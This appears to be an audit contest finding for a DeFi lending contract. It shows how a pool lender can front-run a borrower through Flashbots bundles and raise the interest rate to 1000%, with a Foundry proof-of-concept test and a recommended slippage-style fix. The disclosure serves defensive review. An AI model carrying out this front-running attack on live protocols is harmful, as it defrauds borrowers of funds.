20,000 USDC
View results
Submission Details
Severity: medium
Valid

Lender can manipulate a borrower's interest rate by maliciously front-running them

Summary

Tx ordering vulnerability allows a lender to frontrun a borrow tx in their pool and set the interest rate to 1000%.

Vulnerability Details

In Lender.sol setPool() allows a pool lender can use to update pool parameters at will, including the interest rate for future loans in their pool, which they can set to a maximum of 1000% APR. The same can be accomplished with the specialized setter, updateInterestRate().

There is no current mechanism to protect against interest rate changes immediately before a borrow.

Impact

High.

Lenders can trick entice borrowers with a low interest rate. They can listen for incoming borrow transactions in the mempool and sandwich them using a bundling service such as Flashbots. An example attack flow is:

  • Lender observes an incoming victim tx that performs a borrow in their pool.

  • Lender creates the frontrun tx which calls updateInterestRate(poolId, 10000) or setPool(p) where p.interestRate = 10000

  • Lender submits a Flashbots Bundle that puts the frontrun tx before the victim tx.

    • Lender calls updateInterestRate(poolId, 10000). The lender's tx will only be broadcasted if included in the bundle.

  • (Optional) Lender creates a backrun tx which which calls updateInterestRate(poolId, initital) to conceal their tracks to the unsophisticated eye.

PoC

Paste this in a new file in the test/ folder.
Run forge test --match-test test_PoC -vv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract PoCTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public borrower = address(0x2);
address public fees = address(0x3);
function test_PoC() public {
// Set up
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 1000 ether);
collateralToken.mint(address(borrower), 10000 ether);
vm.prank(lender1);
loanToken.approve(address(lender), type(uint256).max);
vm.prank(borrower);
collateralToken.approve(address(lender), type(uint256).max);
// Lender creates pool with favorable 0.1% APR
vm.prank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 10 ether,
poolBalance: 1000 ether,
maxLoanRatio: 1e18,
auctionLength: 1 days,
interestRate: 10,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// Borrower prepares to borrow
Borrow memory b = Borrow({
poolId: poolId,
debt: 1000 ether,
collateral: 2000 ether
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
// Lender inserts malicious setter tx
vm.prank(lender1);
p.interestRate = 100000;
lender.setPool(p);
vm.prank(borrower);
lender.borrow(borrows);
(,,,,,,uint interestRate,,,) = lender.loans(0);
console.log("Loan interest rate is %s", interestRate);
}
}

Tools Used

Manual Review

Recommendations

One way to prevent this is to allow borrowers to set expectations when borrowing. We can update the Borrow struct like this:

// Structs.sol
struct Borrow {
/// @notice the pool ID to borrow from
bytes32 poolId;
/// @notice the amount to borrow
uint256 debt;
/// @notice the amount of collateral to put up
uint256 collateral;
/// @notice the expected interest rate (protects against tx ordering attacks)
uint256 expectedInterestRate; // <-- Added param
}

Then update the borrow() function to check the expected interest rate against the actual interest rate:

// Lender.sol
function borrow(Borrow[] calldata borrows) public {
for (uint256 i = 0; i < borrows.length; i++) {
bytes32 poolId = borrows[i].poolId;
uint256 debt = borrows[i].debt;
uint256 collateral = borrows[i].collateral;
uint256 expectedInterestRate = borrows[i].expectedInterestRate;
// get the pool info
Pool memory pool = pools[poolId];
if (pool.interestRate != expectedInterestRate) revert PoolConfig(); // <-- Added validation
// ...
}
// ...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.